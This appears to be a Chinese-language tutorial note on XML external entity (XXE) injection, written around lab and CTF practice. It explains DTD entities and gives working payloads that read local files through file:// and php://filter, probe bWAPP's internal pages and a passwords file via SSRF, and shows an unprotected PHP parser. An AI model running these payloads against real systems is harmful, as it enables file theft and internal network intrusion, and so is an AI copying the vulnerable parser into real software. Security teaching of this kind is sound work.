xml实体注入攻击小记
基础知识
参考文章:
XXE漏洞及Blind XXE练习
小试XML实体注入攻击
XML基本知识
1 | "1.0" encoding="utf-8" xml version= |
代码的第一行,定义了XML的版本与编码
在XML文档中,所有的元素都必须正确的嵌套,形成树形结构。并且整个XML文档中必须要有一个根元素。如上代码,
同时,所有的XML元素都必须有关闭标签,这点不像html语法那样松散。如果缺失关闭标签,则会导致XML解析失败。
实体
所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA CDATA)构成。这里着重介绍一下实体:实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体引用是对实体的引用。实体可在内部或外部进行声明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的。
XML实体分为四种:字符实体,命名实体,外部实体,参数实体。
文档类型定义:DTD
wikipedia关于这的描述是:The XML DTD syntax is one of several XML schema languages。简单的说,DTD的作用是定义XML文档的合法构建模块。如前所述,实体也是构建模块之一。因此可以利用DTD来内部或外部引入实体。
其基本格式:1
<!DOCTYPE 根元素名 [ 元素描述 ]>
内部引用
格式:<!ENTITY 实体名称 “实体的值”>
将DTD和XML放在同一份文档中,利用DTD定义的实体即为内部实体。1
2
3
4
5
6
7"1.0" encoding="UTF-8" xml version=
<!DOCTYPE xxe [
<!ENTITY chybeta "Hello World!">
]>
<xxe>
&chybeta;
</xxe>
访问该XML文档,&chybeta;会被解析为Hello World!并输出。
外部引入
基本格式:<!ENTITY 实体名称 SYSTEM “URI”>
通过引用定义在外部的DTD中的实体,我们称之为外部实体。
利用方式
xxe注入
xxe漏洞利用外部实体
读取本地文件
搭建环境file.php:1
2
3
4
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
这是一段没有任何防护的代码,这里就存在xxe漏洞
我们构造payload,访问服务器里的flag.txt文件(内容为“you are right”)1
2
3"1.0" encoding="utf-8" xml version=
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://phpstudy/PHPTutorial/WWW/flag.txt">]>
<root>&file;</root>
将这段代码进行url编码,传入后,获得flag.txt文件的内容
这里有一道ctf的题作为练习参考用,题目地址:http://web.jarvisoj.com:9882/
修改Content-type: application/xml
注意:如果要读取php文件,因为php、html等文件中有各种括号<,>,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。1
2
3"1.0" encoding="utf-8" xml version=
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=D://phpstudy/PHPTutorial/WWW/hack.php">]>
<root>&file;</root>
同样进行url编码
内网探测/SSRF
SSRF实际上就是一种攻击者的攻击思路,简单的说就是服务器用对外提供服务的外网服务器,有对内部工作人员使用的内部服务器,攻击着通过向外网服务器发起请求,服务器接收请求后,未对请求进行验证过滤,此请求可以达到让外网服务器,访问内网的资源,导致攻击者通过外网的请求获取的服务端后台的一些信息。
bwapp中的XXE练习,我们使用burpsuit抓包
同样修改Content-type,附上内容1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
"1.0" encoding="utf-8" xml version=
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>
# Accesses a file on the internal network (2)
# Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!
"1.0" encoding="utf-8" xml version=
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>
获取数据后再进行base64解码
关于SSRF的习题有很多,而这里我们也只是管中窥豹。